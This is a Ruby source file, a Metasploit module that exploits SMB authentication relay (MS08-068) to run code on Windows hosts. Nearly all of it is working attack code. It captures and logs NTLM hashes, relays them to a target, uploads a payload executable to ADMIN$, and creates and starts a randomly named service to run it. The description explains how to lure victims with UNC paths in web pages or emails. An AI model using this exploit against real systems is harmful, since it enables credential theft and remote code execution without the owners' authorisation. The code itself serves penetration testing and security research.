##
# $Id: smb_relay.rb 10404 2010-09-21 00:13:30Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMBServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows SMB Relay Code Execution',
'Description' => %q{
This module will relay SMB authentication requests to another
host, gaining access to an authenticated SMB session if successful.
If the connecting user is an administrator and network logins are
allowed to the target machine, this module will execute an arbitrary
payload. To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate. Unfortunately, this
module is not able to clean up after itself. The service and payload
file listed in the output will need to be manually removed after access
has been gained. The service created by this tool uses a randomly chosen
name and description, so the services list can become cluttered after
repeated exploitation.
The SMB authentication relay attack was first reported by Sir Dystic on
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
includes a patch which prevents the relaying of challenge keys back to
the host which issued them, preventing this exploit from working in
the default configuration. It is still possible to set the SMBHOST
parameter to a third-party host that the victim is authorized to access,
but the "reflection" attack has been effectively broken.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10404 $',
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'References' =>
[
[ 'CVE', '2008-4037'],
[ 'OSVDB', '49736'],
[ 'MSB', 'MS08-068'],
[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ],
[ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Mar 31 2001',
'DefaultTarget' => 0 ))
register_options(
[
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
], self.class )
end
if (not const_defined?('NDR'))
NDR = Rex::Encoder::NDR
end
def smb_haxor(c)
smb = @state[c]
rclient = smb[:rclient]
if (@pwned[smb[:rhost]])
print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
return
end
if (not rclient.client.auth_user)
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
return
end
print_status("Connecting to the ADMIN$ share...")
rclient.connect("ADMIN$")
@pwned[smb[:rhost]] = true
print_status("Regenerating the payload...")
code = regenerate_payload(smb[:rsock])
# Upload the shellcode to a file
print_status("Uploading payload...")
filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
fd = rclient.open("\\#{filename}", 'rwct')
exe = ''
opts = {
:servicename => servicename,
:code => code.encoded
}
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
fd.close
print_status("Created \\#{filename}...")
# Disconnect from the ADMIN$
rclient.disconnect("ADMIN$")
print_status("Connecting to the Service Control Manager...")
rclient.connect("IPC$")
dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
##
# OpenSCManagerW()
##
print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{smb[:rhost]}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CreateServiceW()
##
servicename = rand_text_alpha(8)
displayname = rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil
print_status("Creating a new service...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
##
# OpenServiceW
##
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
return
#print_error("Error: #{e}")
end
##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
rclient.disconnect("IPC$")
print_status("Deleting \\#{filename}...")
rclient.connect("ADMIN$")
rclient.delete("\\#{filename}")
end
def smb_dcerpc(c, uuid, version, pipe)
smb = @state[c]
opts = {
'Msf' => framework,
'MsfExploit' => self,
'smb_pipeio' => 'rw',
'smb_client' => smb[:rclient]
}
handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])
dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
@pwned ||= {}
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
smb_cmd_session_setup(c, buff)
when CONST::SMB_COM_TREE_CONNECT
print_status("Denying tree connect from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
c.put(pkt.to_s)
else
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
c.put(pkt.to_s)
end
end
def smb_cmd_negotiate(c, buff)
smb = @state[c]
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
# Record the remote process ID
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
group = ''
machine = smb[:nbsrc]
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
dialect =
dialects.index("NT LM 0.12") ||
dialects.length-1
# Dialect selected, now we try to the target system
target_host = datastore['SMBHOST']
if (not target_host or target_host.strip.length == 0)
target_host = smb[:ip]
end
rsock = nil
rport = nil
[445, 139].each do |rport_|
rport = rport_
begin
rsock = Rex::Socket::Tcp.create(
'PeerHost' => target_host,
'PeerPort' => rport,
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
break if rsock
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
end
end
if(not rsock)
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
return
end
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
begin
rclient.login_split_start_ntlm1(smb[:nbsrc])
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
raise e
end
if (not rclient.client.challenge_key)
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
rsock.close
return
end
if (smb[:rsock])
smb[:rsock].close
end
smb[:rsock] = rsock
smb[:rclient] = rclient
smb[:rhost] = target_host
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] =
rclient.client.challenge_key +
Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00"
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
# Record the remote multiplex ID
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
lm_len = pkt['Payload'].v['PasswordLenLM']
nt_len = pkt['Payload'].v['PasswordLenNT']
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
smb[:username] = names[0]
smb[:domain] = names[1]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
# Clean up the data for loggging
if (smb[:username] == "")
smb[:username] = nil
end
if (smb[:domain] == "")
smb[:domain] = nil
end
print_status(
"Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
)
if (lm_hash == "" or lm_hash == "00")
lm_hash = nil
end
if (nt_hash == "")
nt_hash = nil
end
if (lm_hash or nt_hash)
rclient = smb[:rclient]
print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...")
res = nil
begin
res = rclient.login_split_next_ntlm1(
smb[:username],
smb[:domain],
[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"),
[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*")
)
rescue XCEPT::LoginError
end
if (res)
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
smb_haxor(c)
else
print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
end
end
print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
c.put(pkt.to_s)
end
end
